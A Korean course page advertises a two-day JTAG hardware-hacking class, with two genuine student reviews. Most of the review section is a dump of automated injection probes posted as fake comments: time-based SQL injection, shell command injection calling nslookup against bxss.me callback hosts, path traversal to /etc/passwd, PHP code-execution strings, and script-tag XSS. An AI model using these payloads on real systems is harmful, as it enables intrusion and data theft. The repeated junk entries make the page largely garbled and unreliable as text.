Hardware Hacking - JTAG Hacking 실습
 
강의 요약

    스마트플랫폼, 사무기기, 가전제품 등의 다양한 임베디드 기기들이 대중화 되고, 본격적인 사물인터넷(IoT)의 시대가 도래함에
    따라 하드웨어 해킹의 위협 또한 증가되고 있습니다. 본 트레이닝의 목적은 하드웨어 해킹의 원리를 이해하고, 단순히 하드웨어 해킹 툴을
    이용하는 수준을 넘어서 자신이 원하는 하드웨어 기반의 해킹 툴을 직접 만들 수 있는 능력을 키우는 것에 초점을 맞추고 있습니다.
    본 트레이닝은 AVR 프로그래밍, UART 해킹, ARM Exploitation, Firmware Dump, JTAG 해킹 등의 코스로 구성이 되어 있으며, 이들 중
    현재 보고계신 "JTAG Hacking 실습" 주제에선 JTAG의 작동 원리 및 JTAG을 하드웨어 해킹에 활용하는 방법에 대해 설명합니다.

기본 정보

    • 강의명 : Hardware Hacking - JTAG Hacking 실습
    • 강사 : 정구홍 (Grayhash 수석 연구원, 해커스쿨 운영자)
    • 강의 일정 : 2017년 10월 12일(목) ~ 10월 13일(금)
    • 강의 시간 : 오전 10시~오후 6시 (하루 7시간)
    • 강의 장소 : 분당구 정자동 Grayhash 트레이닝룸 [위치보기]
    • 수강 정원 : 10명 (최소 인원 5명)
    • 강의 비용 : 1,000,000원 (VAT 별도)
    • 중식 및 다과 제공

주요 교육 내용

    • JTAG 작동 원리 이해 및 JTAG 해킹 실습

상세 교육 내용

    JTAG Hacking

    [JTAG 기초]
    • JTAG의 개념 및 작동 원리 이해하기 (TDI, TDO, TCK, TMS, TRST)
    • TAPC(Test Access Port Controller) 상태도 이해하기
    • Arduino를 이용한 JTAG 툴 개발 실습
    • JTAG 툴 작동 실습 : IDCODE 읽기, LED 상태 읽기, LED에 불 켜기

    [JTAG Hacking]
    • JTAG 실전 활용 예제
    • 상용 JTAG 툴 소개 : Riffbox Jtag, H-JTAG, AD-JTAG
    • JTAG Pin Scanning : Jtagulator, JTAGenum
    • JTAG을 이용한 펌웨어 획득 실습
    • JTAG을 이용한 동적 디버깅 실습
    • 실전 JTAG 해킹 실습 : 스마트폰, CCTV

    * 상기 교육 내용은 상황에 따라 일부 변동될 수 있습니다.

교재 및 실습 장비 목록

    [교재]
    • 강의 PPT

    [기타]
    • 수료증(certificate) 발급

교육자 준비사항

    • 노트북
    • Software : PowerPoint 혹은 Acrobat Reader, Vmware


트레이닝 사진

트레이닝 수강 후기

    * jhong3842먼저 정말 유익한 교육이었습니다!!! 교육 과정은 JTAG의 작동 과정과 원리를 자세하게 설명해주십니다. 이를 토대로 관련 실습을 단계별로 진행하여 흥미와 함께 이해가 증진되었습니다. JTAG 관련 간단한 툴을 만들면서 실수도 하면서 뭐가 틀렸는지 깨닫고 배우는 게 정말 많은 도움이 되었습니다. 그리고 실제 디바이스를 접했을 때 어떻게 접근하는지에 관해서 다년간의 노하우를 배우고 실제 실습도 할 수 있는 유익한 교육(강조!!)이었습니다. 그리고!! 쉬운 질문도 차근차근 하나하나 친절하게 설명해주셔서 정말 좋았습니다. 감사합니다.
    * doll원리를 이해하고, 실습까지 해볼 수 있는 너무 좋은 트레이닝이었습니다 :)
이전까지는 JTAG에 대한 지식이 없어 JTAG장비를 사용하는 것조차 힘들었고, 제대로 사용하지도 못하였습니다. 그러던 중 본 트레이능을 수강할 기회가 생겨 수강하게 되었습니다.
이론만으로는 이해하기 힘든 JTAG 원리를 Step by Step으로 직접 개발을 해보고, 다양한 장비를 대상으로 실습까지 해보면서 원리를 쉽게 이해할 수 있게 되었습니다. 실습은 단순히 연결 및 사용법만 확인해보는 것이 아니라, 직접 만드신 문제도 풀어보고, JTAG 해킹을 할 때 해볼 수 있는 다양한 실습(덤프, 스캐닝 등)을 직접 해볼 수 있어서 좋았습니다.
JTAG 원리, 사용법 외에도 실제 경험하신 다양한 케이스들과 경험을 통해 알게 된 팁들도 알려주셔서 정말 알찬 트레이닝이었습니다.
JTAG장비에 대해 전혀 알지 못하는 초보자도 쉽게 이해할 수 있는 트레이닝인 것 같습니다.
다른 트레이닝도 너무 기대가 됩니다 :)
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqrgej7FwD
    * JCfUZQsq-1 OR 2+175-175-1=0+0+0+1 --
    * JCfUZQsq-1 OR 2+382-382-1=0+0+0+1
    * JCfUZQsq-1' OR 2+964-964-1=0+0+0+1 --
    * JCfUZQsq-1' OR 2+548-548-1=0+0+0+1 or '5f6KwIes'='
    * JCfUZQsq-1" OR 2+402-402-1=0+0+0+1 --
    * JCfUZQsqif(now()=sysdate(),sleep(15),0)
    * JCfUZQsq0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    * JCfUZQsq0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    * JCfUZQsq(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    * JCfUZQsq-1; waitfor delay '0:0:15' --
    * JCfUZQsq-1); waitfor delay '0:0:15' --
    * JCfUZQsq1 waitfor delay '0:0:15' --
    * JCfUZQsqCyO11kHL'; waitfor delay '0:0:15' --
    * JCfUZQsq-5 OR 47=(SELECT 47 FROM PG_SLEEP(15))--
    * JCfUZQsq-5) OR 145=(SELECT 145 FROM PG_SLEEP(15))--
    * JCfUZQsq-1)) OR 720=(SELECT 720 FROM PG_SLEEP(15))--
    * JCfUZQsqvPPlzd0R' OR 142=(SELECT 142 FROM PG_SLEEP(15))--
    * JCfUZQsqFLtp8b9G') OR 180=(SELECT 180 FROM PG_SLEEP(15))--
    * JCfUZQsqNU14VfpD')) OR 721=(SELECT 721 FROM PG_SLEEP(15))--
    * JCfUZQsq555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    * JCfUZQsq555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    * JCfUZQsq1'"
    * JCfUZQsq1%2527%2522
    * JCfUZQsq@@5S0tl
    * JCfUZQsq555
    * JCfUZQsq555
    * iLFCYT45555
    * -1 OR 2+80-80-1=0+0+0+1 --555
    * -1 OR 2+213-213-1=0+0+0+1555
    * -1' OR 2+777-777-1=0+0+0+1 --555
    * -1' OR 2+43-43-1=0+0+0+1 or 'J44jFLff'='555
    * -1" OR 2+413-413-1=0+0+0+1 --555
    * if(now()=sysdate(),sleep(15),0)555
    * 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z555
    * 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z555
    * (select(0)from(select(sleep(15)))v)/*'+(select(0)f555
    * 1 waitfor delay '0:0:15' --555
    * HAyx4S3m'; waitfor delay '0:0:15' --555
    * uIbrvRua' OR 731=(SELECT 731 FROM PG_SLEEP(15))--555
    * 7X6GrHMQ') OR 75=(SELECT 75 FROM PG_SLEEP(15))--555
    * nVWb95sA')) OR 459=(SELECT 459 FROM PG_SLEEP(15))-555
    * JCfUZQsq'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(555
    * 1'"555
    * 1%2527%2522555
    * @@RRUhX555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqhFwWmCcH
    * JCfUZQsq555
    * JCfUZQsqresponse.write(9113547*9958521)
    * JCfUZQsq555
    * EiI9EO2V555
    * JCfUZQsq555
    * JCfUZQsq'+response.write(9113547*9958521)+'
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq"+response.write(9113547*9958521)+"
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * response.write(9121899*9501710)555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * '+response.write(9121899*9501710)+'555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * "+response.write(9121899*9501710)+"555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq${10000455+9999834}
    * JCfUZQsq555
    * JCfUZQsq<esi:include src="http://bxss.me/rpb.pn555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq
    * ${9999245+9999715}555
    * JCfUZQsq../../../../../../../../../../../../../../etc/passwd
    * Mm5LdzNKQ0Q=555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq12345'"\'\");|]*{
<>''💡
    * JCfUZQsq555
    * JCfUZQsq../../../../../../../../../../../../../../windows/win.ini
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555&n958106=v957395
    * JCfUZQsq../555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * 12345'"\'\");|]*{ <>''💡555
    * JCfUZQsq&n932789=v909846555
    * ../../../../../../../../../../../../../../etc/pass555
    * JCfUZQsq555
    * JCfUZQsqecho lqdfgi$()\ tcapcn\nz^xyu||a #' &echo lqdfgi$()\ tcapcn\nz^xyu||a #|" &echo lqdfgi$()\ tcapcn\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../windows/555
    * JCfUZQsq555
    * JCfUZQsq&echo caoxtb$()\ oigzag\nz^xyu||a #' &echo caoxtb$()\ oigzag\nz^xyu||a #|" &echo caoxtb$()\ oigzag\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq|echo mrvbgw$()\ gigyef\nz^xyu||a #' |echo mrvbgw$()\ gigyef\nz^xyu||a #|" |echo mrvbgw$()\ gigyef\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq555
    * ../JCfUZQsq555
    * JCfUZQsq)
    * JCfUZQsq(nslookup hittooyeohjdm58242.bxss.me||perl -e "gethostbyname('hittooyeohjdm58242.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq!(()&&!|*|*|
    * JCfUZQsq$(nslookup hitrqjmdopbqjcd969.bxss.me||perl -e "gethostbyname('hitrqjmdopbqjcd969.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq&(nslookup hitllyhjlszwi1256d.bxss.me||perl -e "gethostbyname('hitllyhjlszwi1256d.bxss.me')")&'\"`0&(nslookup hitllyhjlszwi1256d.bxss.me||perl -e "gethostbyname('hitllyhjlszwi1256d.bxss.me')")&`'
    * JCfUZQsq^(#$!@#$)(()))******
    * JCfUZQsq1some_inexistent_file_with_long_name.jpg
    * JCfUZQsq'.gethostbyname(lc('hitgq'.'oxedzseef7a14.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(65).chr(103).chr(79).'
    * JCfUZQsq555
    * JCfUZQsq'"()
    * JCfUZQsq|(nslookup hitlrsombfvhf46b62.bxss.me||perl -e "gethostbyname('hitlrsombfvhf46b62.bxss.me')")
    * )555
    * JCfUZQsqHttp://bxss.me/t/fit.txt
    * JCfUZQsq".gethostbyname(lc("hitgn"."ewuvqonw23e28.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(74).chr(106).chr(71)."
    * JCfUZQsq555
    * JCfUZQsq`(nslookup hitmileaypxta3b558.bxss.me||perl -e "gethostbyname('hitmileaypxta3b558.bxss.me')")`
    * !(()&&!|*|*|555
    * '.gethostbyname(lc('hiter'.'fwvwovtx6e8af.bxss.me.555
    * JCfUZQsq555
    * JCfUZQsq;(nslookup hitbrbnpicdou9124c.bxss.me||perl -e "gethostbyname('hitbrbnpicdou9124c.bxss.me')")|(nslookup hitbrbnpicdou9124c.bxss.me||perl -e "gethostbyname('hitbrbnpicdou9124c.bxss.me')")&(nslookup hitbrbnpicdou9124c.bxss.me||perl -e "gethostbyname('hitbrbnpicdou9124c.bxss.me')")
    * '"()555
    * ^(#$!@#$)(()))******555
    * JCfUZQsqbxss.me
    * ".gethostbyname(lc("hitji"."qibmmxsc64455.bxss.me.555
    * JCfUZQsq555
    * echo kkvhax$()\ zyrkvg\nz^xyu||a #' &echo kkvhax$(555
    * JCfUZQsq555
    * http://some-inexistent-website.acu/some_inexistent555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * &echo kgiprp$()\ poxjsn\nz^xyu||a #' &echo kgiprp$555
    * 1some_inexistent_file_with_long_name.jpg555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * |echo mfjnjq$()\ cnkjjh\nz^xyu||a #' |echo mfjnjq$555
    * Http://bxss.me/t/fit.txt555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * (nslookup hitsbtjnusdst56ea4.bxss.me||perl -e "get555
    * http://bxss.me/t/fit.txt?.jpg555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * $(nslookup hitvlkmvyrqatfe6f9.bxss.me||perl -e "ge555
    * bxss.me555
    * JCfUZQsqHttP://bxss.me/t/xss.html?%00
    * JCfUZQsq"+"A".concat(70-3).concat(22*4).concat(110).concat(68).concat(112).concat(66)+(require"socket"
Socket.gethostbyname("hitks"+"riprjhpq0727c.bxss.me.")[3].to_s)+"
    * JCfUZQsq555
    * JCfUZQsq555
    * &(nslookup hitcuskwtrpik645c7.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * JCfUZQsq'+'A'.concat(70-3).concat(22*4).concat(121).concat(75).concat(101).concat(78)+(require'socket'
Socket.gethostbyname('hitrf'+'dmestpbq3f14e.bxss.me.')[3].to_s)+'
    * JCfUZQsqbxss.me/t/xss.html?%00
    * JCfUZQsq555
    * JCfUZQsq555
    * |(nslookup hitbjxaporqsq72df7.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * "+"A".concat(70-3).concat(22*4).concat(118).concat555
    * HttP://bxss.me/t/xss.html?%00555
    * JCfUZQsqleave_comment.php
    * JCfUZQsq;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    * `(nslookup hitazludjogcr7574a.bxss.me||perl -e "ge555
    * JCfUZQsq)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    * '+'A'.concat(70-3).concat(22*4).concat(119).concat555
    * bxss.me/t/xss.html?%00555
    * JCfUZQsqleave_comment.php
    * ;(nslookup hitponuvwwlxra49b5.bxss.me||perl -e "ge555
    * JCfUZQsq';print(md5(31337));$a='
    * ))))))))))))))))))))))))))))))))))))))))))))))))))555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqleave_comment.php/.
    * JCfUZQsq";print(md5(31337));$a="
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * leave_comment.php555
    * JCfUZQsq${@print(md5(31337))}
    * JCfUZQsq555
    * JCfUZQsq/xfs.bxss.me
    * JCfUZQsq555
    * leave_comment.php555
    * JCfUZQsq${@print(md5(31337))}\
    * JCfUZQsq555
    * /xfs.bxss.me555
    * JCfUZQsq555
    * leave_comment.php/.555
    * JCfUZQsq'.print(md5(31337)).'
    * JCfUZQsq555
    * JCfUZQsq'"
    * ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))555
    * JCfUZQsq555
    * JCfUZQsq<!--
    * ';print(md5(31337));$a='555
    * JCfUZQsq555
    * '"555
    * ";print(md5(31337));$a="555
    * JCfUZQsq555'"()&%<acx><ScRiPt >LH0X(9733)</ScRiPt>
    * <!--555
    * ${@print(md5(31337))}555
    * JCfUZQsq'"()&%<acx><ScRiPt >LH0X(9302)</ScRiPt>
    * ${@print(md5(31337))}\555
    * JCfUZQsq5559686730
    * '.print(md5(31337)).'555
    * JCfUZQsq'"()&%<acx><ScRiPt >LH0X(9086)555
    * '"()&%<acx><ScRiPt >LH0X(9711)</ScR555
    * JCfUZQsq9565036555
    * JCfUZQsq555
  * 작성자:       * 소속:       * 이메일:
   (성함, 혹은 닉네임을 입력해주세요. 입력해주신 정보들 중 작성자와 후기만 공개됩니다.)